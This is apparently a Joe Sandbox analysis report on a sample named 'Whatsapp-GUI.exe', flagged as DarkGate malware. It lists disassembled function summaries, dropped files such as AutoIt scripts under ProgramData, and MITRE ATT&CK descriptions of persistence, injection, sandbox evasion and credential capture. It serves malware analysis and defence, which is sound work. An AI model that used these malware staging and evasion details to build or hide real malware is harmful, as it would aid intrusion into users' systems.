Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: ClearVariant
String ID: 8)$T
API String ID: 1473721057-516857039
Opcode ID: 2749e6e334e2f00c347559d5d6116e02cc0c8357a6a92af9b131c4c38bcafb68
Instruction ID: f853a2c5b588dcd43e8028a4fa7ed714ddfbf459b16dd64db65a7b9e660fd64f
Opcode Fuzzy Hash: 2749e6e334e2f00c347559d5d6116e02cc0c8357a6a92af9b131c4c38bcafb68
Instruction Fuzzy Hash: 6C410775605B0ACFC750CF18C080A2ABBE2FB99354F658859E885CB366D774E885CF42

Function 008C8096 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 008C8186
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 008C819B

Strings

', xrefs: 008C80EF

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: ad3021fd6e784bdb1bfc217a4c222bb89ace784beccbd49ca480ee5a03bca211
Instruction ID: c2cd36c851df75b18722b76259e920297e30c776b8d9b2767e3bf13e8d59e1d1
Opcode Fuzzy Hash: ad3021fd6e784bdb1bfc217a4c222bb89ace784beccbd49ca480ee5a03bca211
Instruction Fuzzy Hash: 6041F674A45209DFDB14CF68C881BEABBF9FB09340F14416AE904EB351DB31A956CF90

Function 008B40B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 008B4132

Part of subcall function 00851A36: _memmove.LIBCMT ref: 00851A77

Strings

, $, xrefs: 008B4172
AUTOITCALLVARIABLE%d, xrefs: 008B4124

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: 5974d3141a716b42748710d259378574d981e9ef65edda02e56cfd80dee5ece2
Instruction ID: e7436c1d37770bb1d6ab6aa9a01006003011d410812a3306882b53dd24d7b6bd
Opcode Fuzzy Hash: 5974d3141a716b42748710d259378574d981e9ef65edda02e56cfd80dee5ece2
Instruction Fuzzy Hash: 0621B470A0021CABCF04EF68C886BED7BB9FF54741F400454F914E7242EB74A945CBA2

Function 03B6A380 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,03B6A45E), ref: 03B6A406
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,03B6A45E), ref: 03B6A40C

Strings

yyyy, xrefs: 03B6A3E1

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: e7b462b4c89527b281cefcfd6a2cc3a77cab55a0ba224888b748205b1c4df110
Instruction ID: b00c0b363e24c8d3fa84a41bb561326aa21c654e73752837b591f7c89e0ae1cf
Opcode Fuzzy Hash: e7b462b4c89527b281cefcfd6a2cc3a77cab55a0ba224888b748205b1c4df110
Instruction Fuzzy Hash: B2218079600708AFDB05EFA8C995AAEB3B8EF89704F4040F5E804EB752D6789E00C761

Function 00F1BB6D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(00F2497D), ref: 00F1BBB1
RtlLeaveCriticalSection.NTDLL(00F2497D), ref: 00F1BC20

Part of subcall function 00F1AD89: RtlInitializeCriticalSection.NTDLL(00F2497D), ref: 00F1ADA0
Part of subcall function 00F1AD89: RtlEnterCriticalSection.NTDLL(00F2497D), ref: 00F1ADB3
Part of subcall function 00F1AD89: LocalAlloc.KERNEL32(00000000,00000FF8,00000000,00F1AE51), ref: 00F1ADDD
Part of subcall function 00F1AD89: RtlLeaveCriticalSection.NTDLL(00F2497D), ref: 00F1AE4B

Strings

N, xrefs: 00F1BB98

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocInitializeLocal
String ID: N
API String ID: 2227675388-4101671594
Opcode ID: f0c4309824db98c1a2488e4eaf5ac84770c07b9114f13e2bc7efacf5b7abdecc
Instruction ID: 61822fb9f65dc14634a7425edff766fd90e2eeee1e6f823744096fa39ce4ecd5
Opcode Fuzzy Hash: f0c4309824db98c1a2488e4eaf5ac84770c07b9114f13e2bc7efacf5b7abdecc
Instruction Fuzzy Hash: 0B11E171A08204EEEB21EFA8AD516E9B7D1D748324F1404B9E051D7AD1DB789DC0F341

Function 008B28A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 008B28F8
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 008B2921

Strings

<local>, xrefs: 008B28E9

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 2df1e079ce22f9ab63d9cfec51e485a19d1336651e04b479e089d2cffe682b46
Instruction ID: 797ba8d5e3d9416163f491d6368cec24d5e1136ec229db3a4d259b37d9a37526
Opcode Fuzzy Hash: 2df1e079ce22f9ab63d9cfec51e485a19d1336651e04b479e089d2cffe682b46
Instruction Fuzzy Hash: 0611A370501229BAEB258F518C89EFBFF6CFF05765F10463AF559D6200E3705854DAE0

Function 008B8475 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON

Download Yara Rule

APIs

Part of subcall function 008B86E0: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,008B849D,?,00000000,?,?), ref: 008B86F7

inet_addr.WSOCK32(00000000), ref: 008B84A0
htons.WSOCK32(00000000), ref: 008B84DD

Strings

255.255.255.255, xrefs: 008B84B8

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: ab5ad8252657e2cddd326bcd14411502348b9abf1f4963599c6f5210274e8b65
Instruction ID: 5e62fa04d56e94d9d5c58a662fe25c62f5a4de80e4d43a12dd1b41375cdd2b85
Opcode Fuzzy Hash: ab5ad8252657e2cddd326bcd14411502348b9abf1f4963599c6f5210274e8b65
Instruction Fuzzy Hash: BC11A53560021AABDF14AF64CC46FEEB768FF04314F104516FA25D73D1DB72A814CA99

Function 03B9DCCC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

GetMonitorInfoA.USER32(?,00000048), ref: 03B9DCF5

Strings

%s|%d|%d|%d|%d, xrefs: 03B9DD3C
H, xrefs: 03B9DCE6

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: InfoMonitor
String ID: %s|%d|%d|%d|%d$H
API String ID: 2631571227-390123144
Opcode ID: d4abfca772c790519006972bee99f09fdedf734ae12e4fec0c60b8d34e2bddef
Instruction ID: 617076c5c5469f6167c07c1f5a0d3f9780f829f7edd293b7d2c6e558e2ecbf80
Opcode Fuzzy Hash: d4abfca772c790519006972bee99f09fdedf734ae12e4fec0c60b8d34e2bddef
Instruction Fuzzy Hash: 2621D6759042888FDB11CFE9C850A8DBBF8AF09304F50457AE414EB251D7759905CB51

Function 03B7C61C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(?,4004667F), ref: 03B7C635

Part of subcall function 03B7C608: closesocket.WS2_32(?), ref: 03B7C60F

WSAGetLastError.WS2_32(?,?,00000400,00000000,00000400,?,?,00000000,03B7C6C8,?,?,?,03B87A16,00000000,03B87A31), ref: 03B7C670

Strings

3', xrefs: 03B7C678

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: ErrorLastclosesocketioctlsocket
String ID: 3'
API String ID: 1604332089-280543908
Opcode ID: f0fcea1d56ef56ebffe88f85a45c76184f9af7e9734fd0ceec579d52c5ed73a1
Instruction ID: 1e283e51e601c84127734f60b3a9f7f4e275ad7d5bb9281b8cb5aca9fc8bbe6c
Opcode Fuzzy Hash: f0fcea1d56ef56ebffe88f85a45c76184f9af7e9734fd0ceec579d52c5ed73a1
Instruction Fuzzy Hash: 08014B756093109AC730FE799CC496A7ED8DB49638F122AFCE1F2EB180C234C8818766

Function 03B9342C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(00000000,OPEN,00000000,03B934CC,03B934CC), ref: 03B9348E

Part of subcall function 03B9387C: CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,000000FF,08004000,00000000,00000000,00000044,?,00000000,03B93A50), ref: 03B93962
Part of subcall function 03B9387C: CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,000000FF,08004000,00000000,00000000,00000044,?,00000000,00000000,00000000,00000000,000000FF,08004000), ref: 03B9399F
Part of subcall function 03B9387C: WaitForSingleObject.KERNEL32(?,000000FF,00000000,00000000,00000000,00000000,000000FF,08004000,00000000,00000000,00000044,?,00000000,03B93A50), ref: 03B93A23

Strings

.exe, xrefs: 03B93452
OPEN, xrefs: 03B93487

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CreateProcess$ExecuteObjectShellSingleWait
String ID: .exe$OPEN
API String ID: 2960631408-879745837
Opcode ID: cb3a74970042fe7fcca5491769cc1bde95f3a543eeed3b9545746a93fcc05377
Instruction ID: 937193a99f990c3ec2c390a03c292fddf854d76bd66d9ad544e3c7f11fbce2bc
Opcode Fuzzy Hash: cb3a74970042fe7fcca5491769cc1bde95f3a543eeed3b9545746a93fcc05377
Instruction Fuzzy Hash: 45018F3C744704FFFB02EAA5DD52A5E73E8DB89608F1284F2B409EB362D674DE008664

Function 00898892 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 008988A0

Part of subcall function 00863588: _doexit.LIBCMT ref: 00863592

Strings

Error allocating memory., xrefs: 00898899
AutoIt, xrefs: 00898894

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: caacc8615604700c828422cf4d2e8444c996812dce262a60a82a726519f7c575
Instruction ID: 06836c394873572ff1624d0e1609448b1ca0bf87f44142bb3765adae853935a2
Opcode Fuzzy Hash: caacc8615604700c828422cf4d2e8444c996812dce262a60a82a726519f7c575
Instruction Fuzzy Hash: B0D0127128535832D61572AC6D0ABDA7B48EB25B51F044426BB18E52C389D5899041A7

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Whatsapp-GUI.exe

Overview

General Information

Detection

Compliance

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DarkGate

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Updater.zip

C:\ProgramData\Updater\Autoit3.exe

C:\ProgramData\Updater\ConfigUpdater.a3x (copy)

C:\ProgramData\Updater\UpdaterService.exe (copy)

C:\ProgramData\Updater\script.a3x

C:\ProgramData\bfadeeb\Autoit3.exe

C:\ProgramData\bfadeeb\deddfcf

C:\ProgramData\bfadeeb\ehehhkh

C:\ProgramData\bfadeeb\fhdgaef.a3x

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Whatsapp-GUI.exe.log

C:\Users\user\AppData\Roaming\bDceehE

Windows Analysis Report
Whatsapp-GUI.exe

Function 076558C0 Relevance: 5.3, Strings: 4, Instructions: 268
COMMON

Function 0765075B Relevance: 1.8, APIs: 1, Instructions: 329
COMMON

Function 0116CFD0 Relevance: 6.1, APIs: 4, Instructions: 130
threadCOMMON

Function 0116CFE0 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Function 0765F418 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 328
COMMON

Function 09E00698 Relevance: 3.3, APIs: 2, Instructions: 260
windowCOMMON

Function 0116AD48 Relevance: 1.7, APIs: 1, Instructions: 198
COMMON

Function 0765F409 Relevance: 1.7, APIs: 1, Instructions: 175
COMMON

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

